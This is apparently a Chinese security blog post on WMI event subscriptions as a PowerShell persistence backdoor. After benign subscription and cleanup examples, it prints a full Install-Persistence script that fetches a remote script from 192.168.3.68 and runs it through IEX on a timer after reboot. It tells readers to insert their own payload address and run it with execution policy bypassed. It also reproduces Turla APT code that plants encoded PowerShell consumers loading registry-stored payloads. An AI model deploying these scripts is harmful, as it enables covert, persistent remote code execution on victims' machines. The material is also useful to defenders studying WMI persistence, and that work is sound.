WMI持久性后门(powershell)(水文)

VSole2022-07-06 22:27:50

“WMI是微软为基于Web的企业管理(WBEM)规范提供的一个实现版本,而WBEM则是一项行业计划,旨在开发用于访问企业环境中管理信息的标准技术。WMI使用公共信息模型(CIM)行业标准来表示系统、应用程序、网络、设备和其他托管组件。”

实际上,所谓事件过滤器只不过就是一个WMI类,用于描述WMI向事件使用者传递的事件。于此同时,事件过滤器还给出了WMI传递事件的条件。

需要在系统上以管理员身份运行才能创建事件实例。

1.WMI事件

WMI事件一共有3个部分组成:

1.1.Filter

WMI 筛选器组件允许我们使用 Windows 管理规范 (WMI) 规则。它包含两个类:MSFT_Rule,它定义管理范围内的单个规则,以及MSFT_SomFilter,它提供在目标设备上评估的查询列表。

1.2.Consumer

Consumer 类是表明了想要进行什么操作,一般是有5种Consumer 类,我们使用其中的一个(或由同一过滤器绑定的多个)来执行某种操作。

1.2.1.ActiveScriptEventConsumer

当事件传递给它时,以任意脚本语言执行预定义的脚本。此可在 Windows 2000 及更高版本上使用。

1.2.2.CommandLineEventConsumer

当一个事件被传递给它时,在本地系统上下文中启动一个任意进程。此适用于 Windows XP 及更高版本。

1.2.3.LogFileEventConsumer

当事件发送到文本日志文件时,将自定义字符串写入文本日志文件。此适用于 Windows XP 及更高版本。

1.2.4.NTEventLogEventConsumer

当事件被传递到 Windows NT 事件日志时,将特定消息记录到 Windows NT 事件日志中。此消费者适用于 Windows XP 及更高版本。

1.2.5.SMTPEventConsumer

每次将事件传递给它时,都使用 SMTP 发送电子邮件。此使用者可在 Windows 2000 及更高版本上使用。

1.3.Binding

绑定实际上是将过滤器和Consumer结合在一起,一旦将这两者绑定在一起,就可以让 WMI 事件订阅立即工作。要禁用现有的 WMI 订阅,只需删除绑定实例。

2.0.查找 WMI 实例

我们可以使用 Get-WMIObject 和由root\Subscription组成的 –Class 参数,然后指定我们希望查看的适当类

#List Event Filters Get-WMIObject -Namespace root\Subscription -Class __EventFilter

可以通过 Filter 实例的 Query 属性判断正在使用哪种Consumer

#List Event Consumers  Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

#List 事件绑定Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

可以从 __PATH 属性中看到哪个 Filter 和 Consumer 用于 WMI 事件。

3.0.使用wmiclass创建 WMI 事件订阅

创建 WMI 事件订阅的第一种方法是利用 wmiclass 类型加速器并使用 CreateInstance() 方法。

首先,创建过滤器

#创建一个新的事件过滤器$instanceFilter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()

然后我们需要在这个Filter 实例中添加内容,需要添加的只是 Query、QueryLanguage、EventNamespace 和一个名称。

$instanceFilter.QueryLanguage = "WQL"  $instanceFilter.Query = "select * from __instanceModificationEvent within 5 where targetInstance is a 'win32_Service'"  $instanceFilter.Name = "ServiceFilter"  $instanceFilter.EventNamespace = 'root\cimv2'

然后需要将此实例实际保存到 WMI 存储库中,可以通过 Put() 方法来做。

$result = $instanceFilter.Put()  $newFilter = $result.Path

然后是创建Consumer

$instanceConsumer = ([wmiclass]"\\.\root\subscription:LogFileEventConsumer").CreateInstance()

接下来,我将对象配置为在过滤器触发时创建日志文件。

$instanceConsumer.Name = 'ServiceConsumer'$instanceConsumer.Filename = "C:\Scripts\Log.log"$instanceConsumer.Text = 'A change has occurred on the service: %TargetInstance.DisplayName%'

%TargetInstance.Name% 表示正在更改的服务的名称,无论是状态还是其他内容。

最后,我们需要将对象保存到 WMI 存储库中。

$result = $instanceConsumer.Put()  $newConsumer = $result.Path

然后就是绑定了

$instanceBinding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()

绑定在一起并保存实例

$instanceBinding.Filter = $newFilter  $instanceBinding.Consumer = $newConsumer  $result = $instanceBinding.Put()  $newBinding = $result.Path

现在停止服务并检查 Scripts 文件夹中的日志文件。

Stop-Service wuauserv -Verbose

4.0.使用 Set-WMIInstance创建 WMI 事件订阅

此方法使用 –Arguments 参数,该参数接受将用于定义每个实例及其属性的哈希表。

首先,将创建将与我的 splatting 一起使用的哈希表,这些也是不会随每个 WMI 实例更改的通用参数。

splatting $wmiParams = @{     Computername = $env:COMPUTERNAME     ErrorAction = 'Stop'     NameSpace = 'root\subscription' }

接下来是过滤器的创建

$wmiParams.Class = '__EventFilter'  $wmiParams.Arguments = @{     Name = 'ServiceFilter'     EventNamespace = 'root\CIMV2'     QueryLanguage = 'WQL'     Query = "select * from __instanceModificationEvent within 5 where targetInstance isa 'win32_Service'" }  $filterResult = Set-WmiInstance @wmiParams

继续创建Consumer

$wmiParams.Class = 'LogFileEventConsumer'$wmiParams.Arguments = @{    Name = 'ServiceConsumer'    Text = 'A change has occurred on the service: %TargetInstance.DisplayName%'    FileName = "C:\Scripts\Log.log" }$consumerResult = Set-WmiInstance @wmiParams

绑定以启用此事件订阅

$wmiParams.Class = '__FilterToConsumerBinding'$wmiParams.Arguments = @{     Filter = $filterResult     Consumer = $consumerResult }$bindingResult = Set-WmiInstance @wmiParams我们可以使用 Remove-WMIObject删除和使用 Get-WMIObject 定位实例并通过管道传输到 Remove-##Removing WMI Subscriptions using Remove-WMIObject#FilterGet-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='ServiceFilter'" |      Remove-WmiObject -Verbose  
#ConsumerGet-WMIObject -Namespace root\Subscription -Class LogFileEventConsumer -Filter "Name='ServiceConsumer'" |      Remove-WmiObject -Verbose  
#BindingGet-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%ServiceFilter%'"  |      Remove-WmiObject -Verbose

示例

<#Credits to @mattifestion forhis awesome work onWMI and Powershell Fileless Persistence.  This script isan adaptation of his work.#>
function Install-Persistence{
    $Payload = "<strong>((new-object net.webclient).downloadstring('http://192.168.3.68:80/logo.gif'))</strong>"    $EventFilterName = 'Cleanup'    $EventConsumerName = 'DataCleanup'    $finalPayload = "<strong>powershell.exe -nop -c `"IEX $Payload`"</strong>"
    # Create event filter    $EventFilterArgs = @{        EventNamespace = 'root/cimv2'        Name = $EventFilterName        Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"        QueryLanguage = 'WQL'    }
    $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs
    # Create CommandLineEventConsumer    $CommandLineConsumerArgs = @{        Name = $EventConsumerName        CommandLineTemplate = $finalPayload    }    $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs
    # Create FilterToConsumerBinding    $FilterToConsumerArgs = @{        Filter = $Filter        Consumer = $Consumer    }    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
    #Confirm the Event Filter was created    $EventCheck = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"    if($EventCheck -ne $null) {        Write-Host "Event Filter $EventFilterName successfully written to host"    }
    #Confirm the Event Consumer was created    $ConsumerCheck = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"    if($ConsumerCheck -ne $null) {        Write-Host "Event Consumer $EventConsumerName successfully written to host"    }
    #Confirm the FiltertoConsumer was created    $BindingCheck = Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name='$EventFilterName'"""    if($BindingCheck -ne $null){        Write-Host "Filter To Consumer Binding successfully written to host"    }
}
function Remove-Persistence{    $EventFilterName = 'Cleanup'    $EventConsumerName = 'DataCleanup'
    # Clean up Code - Comment this code out when you are installing persistence otherwise it will
    $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"    $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"    $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
    $FilterConsumerBindingToCleanup | Remove-WmiObject    $EventConsumerToCleanup | Remove-WmiObject    $EventFilterToCleanup | Remove-WmiObject
}
function Check-WMI{    Write-Host "Showing All Root Event Filters"    Get-WmiObject -Namespace root/subscription -Class __EventFilter
    Write-Host "Showing All CommandLine Event Consumers"    Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer
    Write-Host "Showing All Filter to Consumer Bindings"    Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding}

把这个payload的地址修改为我们的就行

然后开始插入事件,一旦正常插入成功后,当目标再次重启系统,管理员[administrator]正常登录,稍等片刻2016可能要稍微多等会儿]当系统在后台轮询到我们的payload事件后,便会被触发执行。

# powershell -exec bypassPS > Import-Module .\WMI-Persistence.ps1PS > Install-PersistencePS > Check-WMI

5.0.Turla APT的样本

Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Syslog Consumer'" | Remove-WmiObject;
$NLP35gh = Set-WmiInstance -Namespace "root\subscription" -Class 'CommandLineEventConsumer' -Arguments @{ name = 'Syslog Consumer'; CommandLineTemplate = "$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -enc $HL39fjh"; RunInteractively = 'false' };
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Log Adapter Filter'" | Remove-WmiObject;
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Log Adapter' } | Remove-WmiObject;
$IT825cd = "SELECT * FROM __instanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour=15 AND TargetInstance.Minute=30 AND TargetInstance.Second=40";$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{ name = 'Log Adapter Filter'; EventNameSpace = 'root\CimV2'; QueryLanguage = 'WQL'; Query = $IT825cd };
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $VQI79dcf; Consumer = $NLP35gh };
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='AD Bridge Filter'" | Remove-WmiObject;
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'AD Bridge' } | Remove-WmiObject;$IT825cd = "SELECT * FROM __instanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 300 AND TargetInstance.SystemUpTime < 400";$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{ name = 'AD Bridge Filter'; EventNameSpace = 'root\CimV2'; QueryLanguage = 'WQL'; Query = $IT825cd };
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $VQI79dcf; Consumer = $NLP35gh };

这里创建两个 WMI事件过滤器和两个 WMI事件Consumer,Consumer启动 base64 编码的 PowerShell 命令的命令行,然后加载存储在 Windows 注册表中的大型 PowerShell 脚本。

这些事件将分别在 15:30:40 和系统正常运行时间在 300 到 400 秒之间运行。变量$HL39fjh包含 base64 编码的 PowerShell 命令,读取存储加密负载的 Windows 注册表项,并包含解密负载所需的密码和盐。

[System.Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("<base64-encoded password and salt">)) | iex ;[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((Get-ItemProperty '$ZM172da').'$WY79ad')) | iex

最后,脚本将加密的有效负载存储在 Windows 注册表中,在样本中,攻击者似乎对每个目标使用不同的注册表位置。

powershellwmi
本作品采用《CC 协议》,转载必须注明作者和本文链接
SharpStrike是一款基于C#开发的后渗透工具,该工具可以使用CIM或WMI来查询远程系统。除此之外,该工具还可以使用研究人员提供的凭证信息或使用当前的用户会话。 注意:SharpStrike中的某些命令将使用PowerShell结合WMI以实现其功能。
利用Powershell,攻击者可以在无需接触磁盘的情况下执行命令等,并且相较已经被大家广泛关注并防御的Cmd而言,Powershell并非那么的引人瞩目。Nishang是基于PowerShell的渗透测试专用工具。它集成了框架、脚本和各种payload,能够帮助渗透测试人员在对Windows目标的全过程检测中使用,是一款来源于作者实战经历的智慧结晶。
例如,删除卷影副本和杀死进程等功能已卸载到 PowerShell 脚本。Sophos 表示,目前尚不清楚攻击者是利用最近披露的Exchange Server 中的ProxyLogon 漏洞来获得未经身份验证的访问,还是利用了其他缺陷。Sophos 对 Epsilon Red 的分析表明,勒索软件二进制文件本身不包含目标文件和扩展名的列表。由于 Epsilon Red 似乎没有做出这种区分,恶意软件可能会使受感染的系统无法启动。
当获取了一台在域内的Windows服务器权限,就需要我们尽可能地去收集所能获取到的域的相关信息,收集的域的信息越多,拿下域控的成功率越高。
权限维持分析
2021-11-23 09:28:29
专注是做事成功的关键,是健康心灵的特质。当你与所关注的事物融为一体时,就不会让自己萦绕于焦虑之中。专注与放松,是同一枚硬币的两面而已。一个人对一件事只有专注投入才会带来乐趣。一旦你专注投入进去,它立刻就变得活生生起来。
在信息安全领域。后门是指通过绕过安全控制措施获取对程序或系统ti访问权限的方法。系统维护人员可以清除操作系统中的后门,以恢复目标系统安全控制体系的正规用户的认证过程。在windows主机上连续按5次“shift”键,就可以调出粘滞键。windows的粘滞键主要是为无法同时按多个按键的用户设计的。
摘要 在最初破坏公司网络之后,WastedLocker背后的攻击者在激活勒索软件和要求勒索付款之前执行特权升级和横向移动。使用“双重用途”工具和“ LoLBins”可以使对手在企业环境中进一步朝着自己的目标努力时,逃避检测并...
内网渗透TIPS总结
2023-01-28 11:00:41
内网基础知识1、工作组:工作组是 局域网 中的一个概念,他是长久的资源管理模式。默认情况下使用工作组方式进行资源管理,将不同的 computer 按照不同的要求分类到不同的组。而实际上,因为域名的计算机是使用DNS 来定位域控制器、服务器及其他计算机、网络服务的,所以域的名字就是DNS 域的名字。在内网渗透测试中,大都是通过寻找 DNS 服务器来确定域控制器的位置的。
本文主要是对域环境下的权限维持手法进行攻击检测以及清理,攻击的方法不着重描述,检测的方法只针对终端日志,权限维持的手法也只涉及域环境独有的,像普通终端也存在的启动项计划任务服务等不考虑在内,利用漏洞的也直接排除了直接打补丁就好了。
00 摘要 2020年2月,Cybereason报告称发现了Spark和Pierogi后门,其很可能被用于针对巴勒斯坦官员的定向攻击活动。研究人员认为攻击是由Molerats组织(又名Gaza Cybergang)发动的,这是一个讲阿拉伯语,有政治动机...
VSole
网络安全专家